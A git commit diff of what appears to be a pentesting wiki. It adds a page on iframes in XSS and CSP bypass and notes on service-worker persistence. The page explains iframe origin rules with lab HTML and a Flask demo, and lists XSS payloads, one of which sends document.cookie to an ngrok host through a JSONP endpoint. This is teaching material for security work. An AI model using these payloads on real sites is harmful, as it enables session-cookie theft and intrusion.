GitBook: [#2789] gitbook failing again
This commit is contained in:
CPol
gitbook-bot
parent
c17b800791
commit
bf535b15e0
Binary file not shown.
|
After Width: | Height: | Size: 176 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 42 KiB |
|
|
@ -438,6 +438,7 @@
|
|||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
|
||||
* [Iframes in XSS and CSP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
* [XS-Search](pentesting-web/xs-search.md)
|
||||
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ In the following example [this script](https://github.com/RhinoSecurityLabs/GCP-
|
|||
|
||||
You can use this permission to **update the “includedPermissons” on your role**, so you can get any permission you want.
|
||||
|
||||
.png>)
|
||||
 (1).png>)
|
||||
|
||||
```
|
||||
gcloud iam roldes update <rol name> --project <project> --add-permissions <permission>
|
||||
|
|
|
|||
|
|
@ -799,6 +799,10 @@ function handleResponse() {
|
|||
A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. ([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)).\
|
||||
The goal of this attack is to **create service workers** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**.
|
||||
|
||||
You can see them in the **Service Workers** field in the **Application** tab of **Developer Tools**. You can also look at [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals).
|
||||
|
||||
If the victim didn't grant push notifications permissions the service worker won't be able to receive communications from the server if the user doesn't access the attacker page again. This will prevent for example, maintain conversations with all the pages that accessed the attacker web page so web a exploit if found the SW can receive it and execute it. However, if the victim grants push notifications permissions this could be a risk.
|
||||
|
||||
In order to exploit this vulnerability you need to find:
|
||||
|
||||
* A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file
|
||||
|
|
@ -841,6 +845,8 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
|
|||
|
||||
There is **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
|
||||
|
||||
In an XSS situation, the 24 hour cache directive limit ensures that a malicious or compromised SW will outlive a fix to the XSS vulnerability by a maximum of 24 hours (assuming the client is online). Site operators can shrink the window of vulnerability by setting lower TTLs on SW scripts. We also encourage developers to [build a kill-switch SW](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776).
|
||||
|
||||
### Polyglots
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
|
|
|||
|
|
@ -0,0 +1,127 @@
|
|||
# Iframes in XSS and CSP
|
||||
|
||||
## Iframes in XSS
|
||||
|
||||
There are 3 ways to indicate the content of an iframed page:
|
||||
|
||||
* Via `src` indicating an URL (the URL may be cross origin or same origin)
|
||||
* Via `src` indicating the content using the `data:` protocol
|
||||
* Via `srcdoc` indicating the content
|
||||
|
||||
#### Accesing Parent & Child vars <a href="accesing_parent__child_vars_5" id="accesing_parent__child_vars_5"></a>
|
||||
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
var secret = "31337s3cr37t";
|
||||
</script>
|
||||
|
||||
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
||||
<iframe id="if2" src="child.html"></iframe>
|
||||
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
|
||||
<script>
|
||||
function access_children_vars(){
|
||||
alert(if1.secret);
|
||||
alert(if2.secret);
|
||||
alert(if3.secret);
|
||||
alert(if4.secret);
|
||||
}
|
||||
setTimeout(access_children_vars, 3000);
|
||||
</script>
|
||||
</html>
|
||||
```
|
||||
|
||||
```html
|
||||
<!-- content of child.html -->
|
||||
<script>
|
||||
var secret="child secret";
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
|
||||
If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
|
||||
Note how if4 is considered to have `null` origin.
|
||||
|
||||
### Iframes with CSP <a href="iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
|
||||
However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
|
||||
Therefore it’s possible to bypass the CSP of a page with:
|
||||
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t";
|
||||
</script>
|
||||
<iframe id="if1" src="child.html"></iframe>
|
||||
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
||||
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||
</html>
|
||||
```
|
||||
|
||||
Note how the **previous CSP only permits the execution of the inline script**.\
|
||||
However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
|
||||
|
||||
.png>)
|
||||
|
||||
Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
|
||||
|
||||
You can test this with the following scenario were a cookie is stolen with :
|
||||
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
||||
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
||||
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
||||
return resp
|
||||
|
||||
@app.route("/cookie_s.html")
|
||||
def hello():
|
||||
return "<script>alert(document.cookie)</script>"
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
|
||||
### Other Payloads found on the wild <a href="other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
|
||||
<!-- This one injects JS in a jsonp endppoint -->
|
||||
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
|
||||
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
|
||||
```
|
||||
|
||||
### Iframe sandbox
|
||||
|
||||
The `sandbox` attribute enables an extra set of restrictions for the content in the iframe. **By default, no restriction is applied.**
|
||||
|
||||
When the `sandbox` attribute is present, and it will:
|
||||
|
||||
* treat the content as being from a unique origin
|
||||
* block form submission
|
||||
* block script execution
|
||||
* disable APIs
|
||||
* prevent links from targeting other browsing contexts
|
||||
* prevent content from using plugins (through `<embed>`, `<object>`, `<applet>`, or other)
|
||||
* prevent the content to navigate its top-level browsing context
|
||||
* block automatically triggered features (such as automatically playing a video or automatically focusing a form control)
|
||||
|
||||
The value of the `sandbox` attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions.
|
||||
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
Loading…
Reference in New Issue